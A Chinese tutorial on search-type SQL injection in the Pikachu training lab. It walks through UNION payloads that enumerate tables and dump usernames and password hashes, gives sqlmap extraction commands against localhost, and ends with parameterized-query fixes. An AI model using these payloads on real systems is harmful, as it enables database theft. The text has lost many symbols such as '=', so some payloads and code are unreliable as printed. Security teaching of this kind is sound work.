戰(zhàn):搜索型SQL注入原理與聯(lián)合查詢利用詳解)
在滲透測試或安全學(xué)習(xí)過程中SQL注入始終是Web安全領(lǐng)域繞不開的核心課題。很多初學(xué)者在接觸數(shù)字型注入后一旦遇到需要閉合引號的字符型注入特別是帶有模糊搜索功能的場景就容易感到無從下手。本文將以經(jīng)典的Pikachu靶場為實(shí)戰(zhàn)環(huán)境深入復(fù)盤“搜索型注入”這一關(guān)卡詳細(xì)拆解如何利用union進(jìn)行字符型閉合聯(lián)合注入。通過完整的步驟、清晰的原理分析和可復(fù)現(xiàn)的代碼示例你將不僅掌握通關(guān)技巧更能理解其背后的數(shù)據(jù)庫交互邏輯為實(shí)際的安全審計(jì)工作打下堅(jiān)實(shí)基礎(chǔ)。1. 背景與核心概念什么是搜索型注入在深入實(shí)戰(zhàn)之前我們有必要厘清幾個(gè)關(guān)鍵概念理解“搜索型注入”的特殊性。1.1 SQL注入的本質(zhì)與分類SQL注入SQL Injection是一種將惡意的SQL代碼插入或“注入”到應(yīng)用程序的輸入?yún)?shù)中從而欺騙后端數(shù)據(jù)庫執(zhí)行非預(yù)期命令的攻擊技術(shù)。其根本原因在于程序沒有對用戶輸入進(jìn)行充分的過濾和驗(yàn)證直接將用戶輸入拼接到了SQL查詢語句中。根據(jù)注入點(diǎn)參數(shù)的處理方式SQL注入通常分為以下幾類數(shù)字型注入注入點(diǎn)的參數(shù)原本就是整數(shù)例如id1。SQL語句拼接后形如SELECT * FROM users WHERE id 1。攻擊時(shí)無需處理引號。字符型注入注入點(diǎn)的參數(shù)是字符串例如name‘a(chǎn)dmin’。SQL語句拼接后形如SELECT * FROM users WHERE username ‘a(chǎn)dmin’。攻擊時(shí)必須先閉合前端的單引號才能插入惡意代碼。搜索型注入這是字符型注入的一種特殊且常見的形式。通常出現(xiàn)在網(wǎng)站的搜索功能中使用LIKE關(guān)鍵字進(jìn)行模糊匹配。其SQL語句模板通常為SELECT * FROM articles WHERE title LIKE ‘%用戶輸入%’。這里的%是SQL通配符表示任意字符。攻擊者需要閉合的不僅是引號還包括這個(gè)通配符%。1.2 聯(lián)合查詢注入U(xiǎn)nion-Based Injection原理UNION操作符用于合并兩個(gè)或多個(gè)SELECT語句的結(jié)果集。聯(lián)合注入的核心思想是利用程序原有查詢通過UNION連接一個(gè)我們自定義的SELECT查詢從而將數(shù)據(jù)庫中的其他信息如數(shù)據(jù)庫名、表名、字段內(nèi)容“聯(lián)合”展示在原本的頁面回顯位置。成功利用UNION注入有兩個(gè)關(guān)鍵前提字段數(shù)相同前后兩個(gè)SELECT語句查詢的列數(shù)必須完全相同。數(shù)據(jù)類型兼容對應(yīng)列的數(shù)據(jù)類型應(yīng)該相似現(xiàn)代數(shù)據(jù)庫通常要求不那么嚴(yán)格但列數(shù)必須一致。因此攻擊步驟通常為判斷注入類型 - 閉合原有查詢 - 探測字段數(shù) - 確定回顯點(diǎn) - 構(gòu)造UNION查詢獲取數(shù)據(jù)。1.3 Pikachu靶場簡介Pikachu是一個(gè)帶有漏洞的Web靶場平臺專門用于Web安全漏洞的教學(xué)和實(shí)戰(zhàn)練習(xí)。它集成了SQL注入、XSS、CSRF、文件上傳等多種常見漏洞場景。“SQL-Inject”模塊下的“搜索型注入”正是模擬了一個(gè)帶有模糊搜索功能的新聞查詢頁面是我們練習(xí)字符型閉合和聯(lián)合注入的絕佳環(huán)境。2. 環(huán)境準(zhǔn)備與靶場搭建工欲善其事必先利其器。在開始注入之前我們需要一個(gè)可操作的實(shí)驗(yàn)環(huán)境。2.1 所需環(huán)境組件操作系統(tǒng)Windows 10/11 Linux (如Ubuntu) 或 macOS。Web服務(wù)器Apache 或 Nginx。推薦使用集成環(huán)境。數(shù)據(jù)庫MySQL (Pikachu靶場基于PHPMySQL)。PHP版本 5.4 或 7.x (需開啟相應(yīng)擴(kuò)展如mysqli)。集成環(huán)境推薦PHPStudy(Windows)集成了Apache、MySQL、PHP一鍵安裝對新手友好。XAMPP(跨平臺)同樣是非常流行的集成環(huán)境。Docker通過Docker鏡像運(yùn)行環(huán)境隔離性好。例如使用docker pull area39/pikachu。2.2 Pikachu靶場安裝步驟以下以在Windows下使用PHPStudy為例下載Pikachu從GitHub或官方渠道下載Pikachu的源碼壓縮包。解壓到Web目錄將解壓后的pikachu文件夾放入PHPStudy的WWW目錄下例如D:\phpstudy_pro\WWW\。啟動服務(wù)打開PHPStudy啟動Apache和MySQL服務(wù)。初始化數(shù)據(jù)庫在瀏覽器中訪問http://localhost/pikachu。頁面會提示數(shù)據(jù)庫未初始化點(diǎn)擊“初始化安裝”按鈕。安裝程序會自動創(chuàng)建數(shù)據(jù)庫pikachu并導(dǎo)入所需數(shù)據(jù)。訪問靶場安裝成功后刷新頁面即可進(jìn)入Pikachu主頁。點(diǎn)擊左側(cè)“SQL-Inject” - “搜索型注入”即可進(jìn)入我們的目標(biāo)關(guān)卡。版本說明本文演示基于Pikachu最新版本截至撰寫時(shí)核心原理與舊版本一致。不同環(huán)境下的路徑和細(xì)微差別請根據(jù)實(shí)際情況調(diào)整。3. 漏洞分析與手動注入實(shí)戰(zhàn)現(xiàn)在我們正式進(jìn)入靶場。頁面是一個(gè)簡單的搜索框提示“試試在搜索框里輸入一些內(nèi)容例如新聞”。我們的目標(biāo)是利用這個(gè)搜索功能獲取數(shù)據(jù)庫的敏感信息。3.1 第一步判斷注入點(diǎn)與注入類型這是所有SQL注入攻擊的起點(diǎn)。我們需要確認(rèn)這里是否存在SQL注入漏洞以及是哪種類型?;A(chǔ)測試在搜索框輸入一個(gè)單引號‘然后點(diǎn)擊搜索。預(yù)期結(jié)果如果頁面返回?cái)?shù)據(jù)庫錯(cuò)誤如“You have an error in your SQL syntax...”或頁面顯示異??瞻?、部分內(nèi)容缺失則強(qiáng)烈暗示存在SQL注入漏洞并且很可能是字符型。Pikachu實(shí)戰(zhàn)在Pikachu中輸入‘后搜索頁面依然正常顯示但無搜索結(jié)果。這不夠明顯我們需要更精確的測試。構(gòu)造永真與永假條件永真條件輸入k%‘ or 11 #。讓我們拆解這個(gè)payloadk%匹配任意以“k”開頭的內(nèi)容是為了觸發(fā)正常的搜索邏輯讓頁面有回顯?!糜陂]合SQL語句中LIKE條件前的那個(gè)單引號。or 11這是一個(gè)永遠(yuǎn)為真的條件。#在MySQL中#是行注釋符用于注釋掉SQL語句后續(xù)的部分特別是閉合尾部引號和%通配符。假設(shè)后端代碼后端PHP代碼可能如下所示$search $_GET[‘search’]; $sql “SELECT * FROM news WHERE title LIKE ‘%$search%’”; $result mysqli_query($conn, $sql);Payload拼接后的SQL當(dāng)我們輸入k%‘ or 11 #后最終的SQL語句變?yōu)镾ELECT * FROM news WHERE title LIKE ‘%k%‘ or 11 #%’#后面的%’被注釋掉了。這個(gè)查詢的意思是查找標(biāo)題包含“k”的新聞或者1等于1。由于11恒真所以這條查詢會返回news表中的所有記錄。Pikachu實(shí)戰(zhàn)輸入k%‘ or 11 #并搜索。你會發(fā)現(xiàn)頁面列出了數(shù)據(jù)庫中的所有新聞條目而不是只包含“k”的新聞。這證實(shí)了注入漏洞的存在并且是字符型注入。永假條件輸入k%‘ and 12 #。拼接后的SQLSELECT * FROM news WHERE title LIKE ‘%k%‘ and 12 #%’由于12恒假AND操作會導(dǎo)致整個(gè)WHERE條件為假查詢應(yīng)該返回空結(jié)果。Pikachu實(shí)戰(zhàn)輸入后搜索頁面顯示無結(jié)果或與永真條件結(jié)果明顯不同。通過“永真”返回所有數(shù)據(jù)“永假”返回空數(shù)據(jù)我們完全確認(rèn)了這是一個(gè)可被利用的字符型SQL注入點(diǎn)。3.2 第二步確定查詢結(jié)果的字段數(shù)Order By為了使用UNION查詢我們必須知道當(dāng)前SELECT語句查詢了多少列字段。我們使用ORDER BY子句進(jìn)行探測。ORDER BY n表示按第n列進(jìn)行排序。如果n超過了實(shí)際的列數(shù)數(shù)據(jù)庫就會報(bào)錯(cuò)。構(gòu)造Payloadk%‘ order by 1 #k%‘ order by 2 #k%‘ order by 3 # 依次遞增。Payload拼接后的SQL-- 嘗試 order by 1 SELECT * FROM news WHERE title LIKE ‘%k%‘ order by 1 #%’ -- 嘗試 order by 2 SELECT * FROM news WHERE title LIKE ‘%k%‘ order by 2 #%’Pikachu實(shí)戰(zhàn)輸入k%‘ order by 1 # 頁面正常顯示。輸入k%‘ order by 2 # 頁面正常顯示。輸入k%‘ order by 3 # 頁面正常顯示。輸入k%‘ order by 4 #頁面顯示錯(cuò)誤或異常在Pikachu中可能表現(xiàn)為無結(jié)果或報(bào)錯(cuò)。結(jié)論當(dāng)order by 4時(shí)出錯(cuò)說明當(dāng)前查詢的字段數(shù)最大為3。我們成功探測出原查詢SELECT了3個(gè)字段。3.3 第三步尋找數(shù)據(jù)回顯點(diǎn)字段數(shù)已知為3現(xiàn)在我們需要構(gòu)造一個(gè)UNION SELECT查詢并確定頁面的哪個(gè)位置會顯示我們注入查詢的結(jié)果。構(gòu)造探測Payloadk%‘ union select 1,2,3 #這里我們UNION了一個(gè)查詢select 1,2,3 它同樣返回3列內(nèi)容分別是數(shù)字123。拼接后的SQLSELECT * FROM news WHERE title LIKE ‘%k%‘ union select 1,2,3 #%’Pikachu實(shí)戰(zhàn)輸入并搜索。觀察頁面你會發(fā)現(xiàn)原本顯示新聞標(biāo)題、內(nèi)容的地方有某個(gè)位置被數(shù)字“2”和“3”替代了通?!?”可能不顯示或者顯示在ID位置。典型回顯頁面可能顯示一條奇怪的“新聞”標(biāo)題是“2”內(nèi)容是“3”。這說明頁面的第二個(gè)字段可能對應(yīng)title和第三個(gè)字段可能對應(yīng)content的內(nèi)容是從數(shù)據(jù)庫查詢結(jié)果中直接取出并顯示的。這兩個(gè)位置就是我們的“回顯點(diǎn)”可以用于顯示我們想獲取的任何信息。3.4 第四步利用回顯點(diǎn)獲取數(shù)據(jù)庫信息現(xiàn)在我們可以把union select 1,2,3中的數(shù)字2和3替換成我們想要查詢的數(shù)據(jù)庫函數(shù)。常用MySQL信息函數(shù)database(): 返回當(dāng)前數(shù)據(jù)庫名稱。user(): 返回當(dāng)前MySQL用戶名和主機(jī)。version(): 返回MySQL版本信息。datadir: 返回?cái)?shù)據(jù)庫數(shù)據(jù)存儲目錄。獲取基礎(chǔ)信息Payload:k%‘ union select 1,database(),user() #解釋用database()替換回顯點(diǎn)2用user()替換回顯點(diǎn)3。Pikachu實(shí)戰(zhàn)輸入并搜索。頁面回顯中標(biāo)題位置會顯示當(dāng)前數(shù)據(jù)庫名應(yīng)該是pikachu內(nèi)容位置會顯示當(dāng)前數(shù)據(jù)庫用戶如rootlocalhost。獲取數(shù)據(jù)庫中的表名 MySQL中數(shù)據(jù)庫的元數(shù)據(jù)如表名、列名存儲在information_schema這個(gè)特殊的數(shù)據(jù)庫中。information_schema.tables表存儲了所有表的信息。Payload:k%‘ union select 1,table_name,3 from information_schema.tables where table_schemadatabase() #解釋from information_schema.tables: 從系統(tǒng)表查詢。where table_schemadatabase(): 限定只查詢當(dāng)前數(shù)據(jù)庫pikachu下的表。table_name: 我們要查詢的字段即表名。Pikachu實(shí)戰(zhàn)輸入并搜索。頁面可能會顯示當(dāng)前數(shù)據(jù)庫下的第一張表名例如httpinfo。為了獲取所有表名我們通常使用group_concat()函數(shù)將所有結(jié)果合并到一行。獲取所有表名Payload:k%‘ union select 1,group_concat(table_name),3 from information_schema.tables where table_schemadatabase() #結(jié)果頁面回顯處會顯示一個(gè)用逗號連接的字符串如httpinfo,member,message,users,xss...。這里我們特別關(guān)注users表它很可能存儲了用戶賬號密碼。獲取表中的列名 知道了表名users接下來獲取它的所有列名字段名。這需要查詢information_schema.columns表。Payload:k%‘ union select 1,group_concat(column_name),3 from information_schema.columns where table_schemadatabase() and table_name‘users’ #解釋查詢pikachu數(shù)據(jù)庫下users表的所有列名。Pikachu實(shí)戰(zhàn)輸入并搜索。回顯點(diǎn)會顯示類似id,username,password,level的字符串。我們成功獲取了列名其中username和password是我們的目標(biāo)。最終攻擊拖取數(shù)據(jù)現(xiàn)在表名 (users)、列名 (username,password) 都已掌握可以直接查詢數(shù)據(jù)了。Payload:k%‘ union select 1,username,password from users #解釋直接從users表中查詢username和password字段并分別顯示在頁面的兩個(gè)回顯點(diǎn)上。Pikachu實(shí)戰(zhàn)輸入并搜索。頁面會以“新聞列表”的形式顯示出users表中的所有用戶名和密碼密碼通常是MD5哈希值。至此我們完成了從漏洞探測到數(shù)據(jù)竊取的全過程。4. 自動化工具輔助注入以Sqlmap為例手動注入有助于深刻理解原理但在實(shí)戰(zhàn)或效率要求高時(shí)自動化工具是更好的選擇。Sqlmap是開源的SQL注入檢測與利用神器。重要聲明Sqlmap僅用于授權(quán)測試嚴(yán)禁對非授權(quán)目標(biāo)進(jìn)行任何測試。4.1 Sqlmap基礎(chǔ)命令假設(shè)Pikachu搜索型注入的完整URL是http://localhost/pikachu/vul/sqli/sqli_search.php檢測注入點(diǎn)sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php?submit%E6%90%9C%E7%B4%A2namek” --batch-u: 指定目標(biāo)URL。--batch: 以非交互模式運(yùn)行所有提示選擇默認(rèn)選項(xiàng)。指定參數(shù)與注入技術(shù) 搜索功能通常是POST請求我們需要指定參數(shù)。用Burp Suite等工具抓包找到POST數(shù)據(jù)體例如searchksubmit搜索。sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” --batchSqlmap會自動識別注入類型。對于字符型它會嘗試各種閉合方式。獲取當(dāng)前數(shù)據(jù)庫sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” --current-db --batch列出所有表sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” -D pikachu --tables --batch列出指定表的列sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” -D pikachu -T users --columns --batch拖取數(shù)據(jù)sqlmap -u “http://localhost/pikachu/vul/sqli/sqli_search.php” --data“searchksubmit%E6%90%9C%E7%B4%A2” -D pikachu -T users -C username,password --dump --batch--dump會導(dǎo)出指定列的所有數(shù)據(jù)。4.2 針對搜索型/字符型注入的Sqlmap技巧指定閉合符如果Sqlmap自動檢測不準(zhǔn)確可以手動指定閉合方式。從手動注入我們知道閉合需要處理%‘和尾部的‘%。sqlmap -u “URL” --data“searchksubmit...” --prefix“%‘” --suffix“#” --batch--prefix: 指定注入數(shù)據(jù)前的字符串這里是%‘。--suffix: 指定注入數(shù)據(jù)后的字符串這里是注釋符#用于注釋掉原SQL語句尾部的‘%。使用級別和風(fēng)險(xiǎn)--level和--risk參數(shù)可以提高檢測強(qiáng)度嘗試更多payload。5. 漏洞原理與防御方案知其然更要知其所以然。了解漏洞如何產(chǎn)生才能從根本上修復(fù)它。5.1 漏洞代碼還原分析以下是存在搜索型SQL注入漏洞的簡化版后端PHP代碼// vul/sqli/sqli_search.php (漏洞版本) ?php $link mysqli_connect(‘localhost‘, ‘root‘, ‘root‘, ‘pikachu‘); if (!$link) { die(‘Could not connect: ‘ . mysqli_error()); } if(isset($_GET[‘submit‘]) $_GET[‘name‘] ! null){ $name $_GET[‘name‘]; // 危險(xiǎn)未經(jīng)過濾的用戶輸入 // 漏洞點(diǎn)直接將用戶輸入拼接到SQL語句中 $query “select id,email from member where username like ‘%$name%‘“; $result mysqli_query($link, $query); // ... 顯示結(jié)果 ... } ?關(guān)鍵問題第8行用戶輸入的$name被直接拼接進(jìn)SQL字符串。當(dāng)用戶輸入k%‘ or 11 #時(shí)就構(gòu)成了我們之前利用的惡意查詢。5.2 根本原因與安全開發(fā)建議根本原因信任了不可信的用戶輸入。程序?qū)碜郧岸薝RL、表單、Cookie等的數(shù)據(jù)未經(jīng)任何驗(yàn)證、過濾或轉(zhuǎn)義就直接用于構(gòu)造數(shù)據(jù)庫查詢命令。核心防御思想“數(shù)據(jù)”與“代碼”分離。永遠(yuǎn)不要將用戶輸入當(dāng)作代碼的一部分來執(zhí)行。SQL語句的結(jié)構(gòu)代碼應(yīng)該是固定的而查詢條件數(shù)據(jù)應(yīng)該通過安全的通道傳入。5.3 具體防御措施以PHP/MySQL為例1. 使用參數(shù)化查詢預(yù)編譯語句—— 首選方案這是防止SQL注入最有效、最根本的方法。數(shù)據(jù)庫引擎會嚴(yán)格區(qū)分SQL語句的骨架和傳入的參數(shù)值參數(shù)值即使包含惡意SQL也只會被當(dāng)作普通數(shù)據(jù)處理。// 安全版本 - 使用MySQLi預(yù)處理語句 ?php $link mysqli_connect(‘localhost‘, ‘root‘, ‘root‘, ‘pikachu‘); if (isset($_GET[‘submit‘]) $_GET[‘name‘] ! null) { $name $_GET[‘name‘]; // 1. 準(zhǔn)備SQL語句模板使用 ? 作為占位符 $stmt mysqli_prepare($link, “SELECT id, email FROM member WHERE username LIKE ?”); // 2. 綁定參數(shù)?!畇‘ 表示字符串類型將 $name 變量綁定到第一個(gè) ? 上 // 注意LIKE查詢需要手動添加 % 通配符到參數(shù)值上而不是SQL語句中 $search_term “%” . $name . “%”; mysqli_stmt_bind_param($stmt, “s”, $search_term); // 3. 執(zhí)行語句 mysqli_stmt_execute($stmt); // 4. 獲取結(jié)果 $result mysqli_stmt_get_result($stmt); // ... 處理結(jié)果 ... mysqli_stmt_close($stmt); } ?使用PDO方式同樣安全// 安全版本 - 使用PDO預(yù)處理語句 ?php $pdo new PDO(‘mysql:hostlocalhost;dbnamepikachu‘, ‘root‘, ‘root‘); $pdo-setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); if (isset($_GET[‘submit‘]) $_GET[‘name‘] ! null) { $name “%” . $_GET[‘name‘] . “%”; $stmt $pdo-prepare(“SELECT id, email FROM member WHERE username LIKE :name”); $stmt-bindParam(‘:name‘, $name, PDO::PARAM_STR); $stmt-execute(); $result $stmt-fetchAll(PDO::FETCH_ASSOC); // ... 處理結(jié)果 ... } ?2. 輸入驗(yàn)證與過濾白名單驗(yàn)證對于已知有限集合的輸入如性別、狀態(tài)只接受預(yù)設(shè)值。類型強(qiáng)制轉(zhuǎn)換對于數(shù)字型參數(shù)使用intval()等函數(shù)強(qiáng)制轉(zhuǎn)換為整數(shù)。長度限制對輸入字符串進(jìn)行合理的長度限制。注意過濾如addslashes()、mysql_real_escape_string()在特定字符集下可能被繞過不應(yīng)作為唯一的防御手段應(yīng)與預(yù)處理語句結(jié)合使用。3. 最小權(quán)限原則數(shù)據(jù)庫連接賬戶不應(yīng)使用root等高級權(quán)限賬戶。應(yīng)為Web應(yīng)用創(chuàng)建獨(dú)立的數(shù)據(jù)庫用戶并只授予其必要的最小權(quán)限如SELECT、INSERT、UPDATE在特定表上避免其執(zhí)行DROP TABLE、FILE等危險(xiǎn)操作。4. 錯(cuò)誤信息處理生產(chǎn)環(huán)境應(yīng)關(guān)閉或自定義數(shù)據(jù)庫錯(cuò)誤回顯避免將詳細(xì)的SQL錯(cuò)誤信息直接展示給用戶防止攻擊者利用這些信息進(jìn)行更深入的探測。6. 常見問題與排查思路在手動注入或使用工具時(shí)你可能會遇到一些問題。問題現(xiàn)象可能原因排查與解決思路輸入‘后頁面正常無報(bào)錯(cuò)1. 不存在SQL注入漏洞。2. 漏洞存在但被靜默處理錯(cuò)誤被捕獲不顯示。3. 注入類型判斷錯(cuò)誤可能是數(shù)字型或需要其他閉合符。1. 嘗試永真(‘ or 11 #) 和永假(‘ and 12 #) 條件觀察頁面結(jié)果是否有差異。2. 嘗試數(shù)字型測試 (1 and 11,1 and 12)。3. 嘗試其他注釋符 (--注意有個(gè)空格%23即#的URL編碼)。union select后頁面空白或報(bào)錯(cuò)1. 字段數(shù)判斷錯(cuò)誤。2.UNION前后查詢的列數(shù)據(jù)類型不兼容。3. 某些列在頁面不顯示導(dǎo)致回顯點(diǎn)判斷錯(cuò)誤。1. 重新用order by精確判斷字段數(shù)。2. 在union select中嘗試用null代替數(shù)字null可匹配任何類型。3. 嘗試union select 1,2,3,4...直到頁面正常以確定總列數(shù)。使用Sqlmap無法檢測到注入1. 目標(biāo)有WAFWeb應(yīng)用防火墻攔截。2. 注入點(diǎn)需要特定的閉合方式或編碼。3. 請求方式判斷錯(cuò)誤GET/POST。1. 使用--tamper參數(shù)嘗試編碼繞過腳本如space2comment。2. 手動測試確定閉合方式然后用--prefix和--suffix指定。3. 確保Sqlmap使用的請求方法和參數(shù)正確用-r參數(shù)加載抓取的數(shù)據(jù)包文件最準(zhǔn)確。搜索型注入中%通配符干擾測試用戶輸入的%和_在LIKE子句中有特殊含義。1. 在測試時(shí)將%作為搜索關(guān)鍵詞的一部分如k%‘利用它閉合原SQL中的前一個(gè)%。2. 使用[%]或\%進(jìn)行轉(zhuǎn)義取決于數(shù)據(jù)庫但在注入測試中將其作為數(shù)據(jù)部分處理更直接。7. 總結(jié)與學(xué)習(xí)路線通過本次對Pikachu靶場“搜索型注入”的深度復(fù)盤我們系統(tǒng)性地走完了一個(gè)完整的字符型聯(lián)合注入流程從漏洞判斷、類型識別、字段數(shù)探測、回顯點(diǎn)定位到最終利用系統(tǒng)表 (information_schema) 獲取數(shù)據(jù)庫信息。同時(shí)我們也探討了使用Sqlmap進(jìn)行自動化利用的方法并從開發(fā)者角度分析了漏洞根源及修復(fù)方案。核心要點(diǎn)回顧搜索型注入本質(zhì)是字符型注入需要同時(shí)處理LIKE子句中的引號和%通配符閉合。聯(lián)合注入 (UNION) 的前提是弄清原查詢的字段數(shù)并通過ORDER BY或UNION SELECT NULL,...來探測。information_schema數(shù)據(jù)庫是MySQL中獲取元數(shù)據(jù)庫、表、列信息的關(guān)鍵。參數(shù)化查詢預(yù)編譯語句是根治SQL注入的銀彈任何過濾和轉(zhuǎn)義都應(yīng)作為輔助手段。建議的學(xué)習(xí)路線基礎(chǔ)入門在DVWA、Pikachu等靶場中按難度順序練習(xí)數(shù)字型、字符型、搜索型、報(bào)錯(cuò)型、布爾盲注、時(shí)間盲注。原理深入閱讀OWASP SQL Injection Prevention Cheat Sheet理解不同數(shù)據(jù)庫MySQL、PostgreSQL、SQL Server的語法差異和特有函數(shù)。工具掌握熟練使用Sqlmap、Burp Suite的Intruder/Repeater模塊學(xué)習(xí)編寫簡單的Tamper腳本。代碼審計(jì)嘗試閱讀并分析開源項(xiàng)目中存在SQL注入漏洞的代碼以及修復(fù)后的代碼。實(shí)戰(zhàn)擴(kuò)展在合法的漏洞賞金平臺或授權(quán)的滲透測試項(xiàng)目中嘗試發(fā)現(xiàn)和報(bào)告真實(shí)的SQL注入漏洞。安全之路始于足下。理解攻擊是為了更好的防御。希望這篇詳細(xì)的復(fù)盤筆記能幫助你牢固掌握SQL注入的核心原理與實(shí)戰(zhàn)技巧在安全學(xué)習(xí)的道路上走得更加穩(wěn)健。